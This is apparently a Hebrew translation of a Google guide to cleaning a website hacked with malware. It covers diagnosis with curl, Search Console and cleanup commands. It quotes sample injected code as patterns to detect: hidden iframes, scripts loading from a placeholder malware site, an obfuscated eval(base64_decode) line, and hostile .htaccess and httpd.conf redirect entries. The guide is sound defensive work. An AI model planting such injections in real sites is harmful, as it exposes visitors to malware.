תוכנה זדונית היא כל תוכנה או אפליקציה לנייד שתוכננו במיוחד כדי להזיק למחשב, למכשיר נייד, לתוכנות שפועלות בהם או למשתמשים בהם. מידע נוסף על תוכנות זדוניות זמין במאמר תוכנות זדוניות ותוכנות לא רצויות.
אם האתר שלכם מכיל תוכנה זדונית, המשתמשים בדרך כלל יראו את האזהרה "האתר הזה עלול להזיק למחשב שלך" שמוצגת בתוצאות החיפוש או בדף ביניים שמוצג בדפדפן כשהמשתמש ינסה לבקר בו, למשל:
![דף ביניים מייצג של תוכנה זדונית](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=5&hl=he)
הנתונים הדרושים:
- הרשאת גישה של אדמין מעטפת או של טרמינל לשרתי האתר: אינטרנט, מסד נתונים וקבצים.
- היכרות עם פקודות מעטפת או טרמינל.
- היכולת להריץ שאילתות SQL במסד הנתונים.
הכנה
- נרשמים ל-Search Console ומאמתים בעלות על האתר שנפרץ, כפי שמתואר שם. ב-Search Console אפשר לקבל דוגמאות לדפים שהושפעו מהבעיה, וכך קל יותר לאתר ולתקן בעיות של פריצה באמצעות תוכנות זדוניות. בנוסף, תקבלו אזהרה כשהאתר שלכם יזוהה כמושפע מסוגים רבים של תוכנות זדוניות או פריצות אחרות.
צפה בדף האבחון של הגלישה הבטוחה של Google כדי לראות מידע ציבורי המציין אם אתר זה עלול להזיק למשתמשים. ניתן לראות את סטטוס הרישום של הדף או האתר בכתובת URL שדומה לזו:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
לדוגמה:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
יכול להיות כתובת URL של דף ספציפי (http://example.com/badpage
) או של האתר כולו (example.com).אל תשתמשו בדפדפן כדי לצפות בדפים מהאתר. מאחר שתוכנות זדוניות בדרך כלל מתפשטות על ידי ניצול נקודות חולשה בדפדפן, פתיחת דף שנגוע בתוכנה זדונית בדפדפן עלולה לגרום נזק למחשב. אם לא מופיעות הוראות האבחון צריך לגשת לדף ישירות מהדפדפן, השתמשו ב-cURL או ב-Wget כדי לבצע בקשות HTTP (לדוגמה, כדי לאחזר דף).
הכלים האלה זמינים בחינם לצורך אבחון הפניות אוטומטיות, ויש בהם את הגמישות לכלול מידע על הגורם המפנה או על סוכן המשתמש. הכללה של גורם מפנה ספציפי או סוכן משתמש ספציפי עוזרת לחקות האקרים, כי האקרים עלולים להציג תוכן זדוני רק למשתמשים עם סוכנים או גורמים מפנים ספציפיים, כדי להתמקד ב "אנשים אמיתיים" ולהימנע מזיהוי של בעלי אתרים וסורקי תוכנות זדוניות.
`curl -v --referer "http://www.google.com" <your-url>`
הנה דוגמה שמציינת גם סוכן משתמש וגם גורם מפנה:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
מומלץ לאחזר דף עם או בלי --referer "https://www.google.com"
, כי חלק מהתוכנות הזדוניות מופעלות רק כשמשתמשים מגיעים מתוצאות החיפוש ב-Google.
צור מסמך לתיעוד הממצאים של שלב זה. בסופו של דבר המסמך יכלול (לפחות) את השם והמיקום של כל קובץ פגום, וגם הערות בנוגע לאופן שבו הוא נדבק, וישמש כבסיס לניקוי ותחזוקה של האתר.
צפו בסרטון מוקדם יותר בדף הזה כדי לראות איך תוכנות זדוניות פועלות ואיך תוכלו לשמור על הבטיחות במהלך חקירת התוכנות הזדוניות.
אבחון
בודקים אילו תוכנות זדוניות משפיעות על האתר:
- פותחים את דוח בעיות האבטחה של האתר ב-Search Console. הרחב את תיאור האזהרה על תוכנה זדונית כדי לראות רשימה של דפים לדוגמה שהושפעו. שימו לב שזו רשימה חלקית בלבד. ייתכן שלא תקבלו דפים לדוגמה לכל סוגי התוכנות הזדוניות באתר.
- בדוק את דפי הדוגמה כדי לאתר את הסוגים הבאים של תוכנות זדוניות.
תוכנה זדונית בהגדרת השרת (הפניות אוטומטיות לא רצויות)
האקר פרץ לאתר שלכם ומפנה אוטומטית מבקרים מהאתר התקין לאתר הזדוני שלו, ככל הנראה על ידי שינוי קובצי התצורה של השרת. קובצי תצורת השרת מאפשרים בדרך כלל לאדמין של האתר לציין הפניות אוטומטיות לכתובות URL של דפים ספציפיים או ספריות ספציפיות באתר. לדוגמה, בשרתי Apache, זהו הקובץ .htaccess
וגם httpd.conf
.
אבחון
היכנסו למספר כתובות URL לדוגמה המוצגות בדוח 'בעיות אבטחה'. תגובה מדף הנגוע בהידבקות מסוג 'תצורת שרת' עשויה לכלול את הכותרות הבאות:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
זיהוי הקבצים שהושפעו
נכנסים לשרת באמצעות גישת מעטפת או גישה לטרמינל (אם רוצים, אפשר להיות גם במצב אופליין) ובודקים את הקבצים הרלוונטיים של הגדרות השרת. יכול להיות שבאתר שלכם יש יותר מקובץ תצורה אחד של שרת פרוץ. בדקו אם יש בקבצים האלה הוראות לא רצויות, כמו הפניות אוטומטיות לאתרים לא מוכרים. לדוגמה, בקובץ .htaccess
, יכול להיות שתופיע הפניה אוטומטית שנראית כך:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
הזרקת SQL
האקר פרץ למסד הנתונים של האתר שלכם. לדוגמה, יכול להיות שההאקר הכניס באופן פרוגרמטי קוד זדוני לכל רשומה של טבלת מסד נתונים, כך שכשהשרת טוען דף שדורש מידע מבסיס הנתונים, הקוד הזדוני מוטמע עכשיו בתוכן הדף ועלול לפגוע במבקרים באתר.
אבחון
- מריצים מספר שאילתות על כתובות ה-URL שהושפעו בשורת הפקודה, ובודקים את התגובה למילות התקפה של SQL כמו "iframe" או "eval".
נכנסים לשרת מסד הנתונים או מציגים את מסד הנתונים באמצעות כלי כמו phpMyAdmin. אם השתמשתם ב-Wget או ב-cURL, נסו לקשר בין הנזק שנמצא בקוד המקור של הדף באמצעות Wget או cURL לבין הערכים של מסד הנתונים עצמו. לדוגמה, אם שמתם לב שהדפים שלכם כוללים iframe מסוכן, תוכלו לבצע שאילתת SQL כדי לחפש קוד iframe. לדוגמה:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
כדאי גם לבדוק אם יש פעילות חריגה ביומן מסד הנתונים ובקובצי השגיאות בשרת, כמו פקודות SQL בלתי צפויות שנראות יוצאות דופן למשתמשים רגילים או לשגיאות.
תיקון הבעיה
מעדכנים כל רשומה נגועה במסד הנתונים או משחזרים את הגיבוי האחרון של מסד הנתונים הידוע.
החדרת קוד
דפים באתר שלכם שונו כך שיכללו קוד זדוני, כמו iframe לאתר זדוני.
אבחון
נכנסים לכמה מכתובות ה-URL לדוגמה שמוצגות בדוח 'בעיות אבטחה' עם cURL או עם wGet ובודקים אם יש קוד חשוד. יכולים להיות סוגים רבים של קוד שהוחדר וקשה למצוא אותם. כדאי לחפש מילים כמו "iframe" כדי למצוא את קוד iframe. מילות מפתח אחרות שעשויות להועיל הן "script", "eval" ו-"unescape" לדוגמה, כדי לחפש "iframe" בכל הקבצים במערכות מבוססות Unix:
$grep -irn "iframe" ./ | less</pre>
לפניכם כמה דפוסים נפוצים של תוכנות זדוניות שכדאי לבדוק.
iframe שטוען אתר זדוני:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript או שפת סקריפטים אחרת שקוראת לסקריפטים מאתר תוקף ומריצה אותם:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
סקריפט שמפנה את הדפדפן לאתר זדוני:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
קוד זדוני מעורפל כדי למנוע זיהוי:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
קובצי אובייקטים משותפים שמיועדים לכתוב באופן אקראי קוד מזיק לסקריפטים שלכאורה אינם אמורים להזיק:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
תבניות שגיאות זדוניות
התבנית שבה נעשה שימוש להודעות שגיאה, למשל 404 File not Found, מוגדרת כך שתפיץ תוכנה זדונית. כך תוקפים יכולים להפעיל מתקפות על כתובות URL שאפילו לא קיימות באתר.
אבחון
מבקשים דף שלא קיים באתר או שמציג סוג אחר של שגיאה, ובודקים את התגובה כדי לראות אם היא הגיעה מאתר אחר או שמכילה תוכנה זדונית.
תיקון הבעיה
היכנסו לשרת האינטרנט שלכם ולחפש בקובצי תצורת השרת כדי לאתר הוראות לדפי שגיאה. לדוגמה, אפשר להצהיר על תבנית השגיאה של שרתי האינטרנט של Apache בקובץ .htaccess
. הנה דוגמה לרשומת קובץ .htaccess
שמאחזרת דפי שגיאה 404 מאתר זדוני:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
כשתהיו מוכנים לנקות את האתר, מחליפים את הקבצים .htaccess
בגיבויים שאתם יודעים שהם תקינים או מוחקים את הוראות ErrorDocument לא רצויות בקובצי .htaccess
הקיימים. הקפידו גם לנקות את קובצי השגיאות עצמם אם הם קיימים באתר. לבסוף, הפעילו מחדש את שרת האינטרנט כדי לוודא שכל השינויים ייכנסו לתוקף.
משאבים שנטענים מאתר שנפגע או מאתר זדוני {compromised-resources}
האתר שלכם משתמש בתוכן או במשאבים מאתר שידוע שהוא מכיל תוכן זדוני. אלה יכולים להיות קובצי JavaScript, תמונות או קבצים אחרים. לכן האתר שלכם יסומן לאיתור תוכנה זדונית שנטענה מאותו אתר אחר.
אבחון
היכנסו למספר כתובות URL לדוגמה המוצגות בדוח 'בעיות אבטחה'.
תיקון הבעיה
- כדי לוודא שהבעיה קיימת, עוברים אל כמה מכתובות ה-URL לדוגמה שמפורטות בדוח 'בעיות אבטחה' ב-Search Console. אמורה להופיע אזהרה בדפדפן.
- אזהרת הדפדפן תכלול את הדומיין של התוכן הבעייתי. מסירים את הכל ההפניות אל האתר המסומן שמופיע באזהרת הדפדפן. אם תוכן מאתר מסומן נכלל ללא ידיעתכם, הבעיה חמורה יותר. סביר להניח שהאתר שלכם נפרץ, ומומלץ להמשיך לבדוק אם יש בו פרצות או נקודות חולשה אחרות.
- אם כללתם בכוונה תוכן מאתר לגיטימי שסומן ואתם רוצים לכלול מחדש את התוכן אחרי ניקוי האתר שסומן, תוכלו לעקוב אחרי הסטטוס של האתר שסומן באמצעות דף האבחון של הגלישה הבטוחה ב-Google
לאתר הזה (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}. בדרך כלל, הבעלים של אתרים לגיטימיים מנקים אותם במהירות.
בדיקה נוספת
לאחר מכן, בודקים אם יש קבצים זדוניים נוספים או שינויים זדוניים במערכת. יכול להיות שההאקר שינה דפים קיימים או רשומות מסדי נתונים קיימות, יצר דפי ספאם חדשים לגמרי, כתב פונקציות שמציגות ספאם בדפים נקיים, או השאיר 'דלתות אחוריות' שמאפשרות להאקר להיכנס מחדש לאתר שלכם או שמחדירים מחדש קוד זדוני שהסרתם.
אם האתר שלך במצב מקוון, מומלץ להעביר אותו למצב אופליין לצורך הבדיקה הזו.
אם יש לכם גיבוי טוב של האתר, כדאי לבדוק אילו קבצים נוצרו או שונו מאז הגיבוי ולבדוק אותם. במערכות מבוססות Unix, אפשר להשתמש בפקודה כמו הבאה כדי למצוא קבצים חדשים:
diff -qr <current-directory> <backup-directory>
לדוגמה:
diff -qr www/ backups/full-backup-20120124/
כמו כן:
md5sum <current-page> <backup-page>
לדוגמה:
md5sum www/page.html backups/full-backup-20120124/page.html
כדאי לבדוק את יומני השרת, הגישה והשגיאות כדי לאתר פעילות חשודה, כמו ניסיונות התחברות שנכשלו, היסטוריית פקודות (במיוחד ברמה הבסיסית (root) ויצירת חשבונות משתמשים לא ידועים. שימו לב שייתכן שההאקר שינה את היומנים האלה למטרות שלו. בסרטון של זיהוי נקודות החולשה מוצגות כמה דוגמאות.
לבדוק את קובצי התצורה של הפניות אוטומטיות. השמות של קובצי התצורה הם בדרך כלל .htaccess
ו-httpd.conf
. לעיתים קרובות האקרים יוצרים הפניות מותנות בהתאם לסוכן המשתמש, השעה ביום או הגורם המפנה. אם אתם צריכים לעדכן את קובצי התצורה, ייתכן שתצטרכו להפעיל מחדש את השרת כדי שהשינויים ייכנסו לתוקף.
חשוב לבדוק אם יש קלות מדי הרשאות לתיקיות ולקבצים. האקרים מחבלים בהרשאות כי אם בעל האתר עדיין לא מזהה הרשאות חלשות, להאקר תהיה דרך להיכנס מחדש לאתר. קבצים גדולים מ-644 (rw-r--r--)
ותיקיות גדולות מ-755 (rwxr-xr-x)
עלולים לגרום לבעיות אבטחה. ודא שההרשאות החלשות יותר אכן דרושות. במערכות מבוססות Unix, אתם יכולים לנסות:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
וגם:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
אם יש לכם מסד נתונים, חוקרים רשומה אחרי רשומה, באמצעות כלי כמו phpMyAdmin.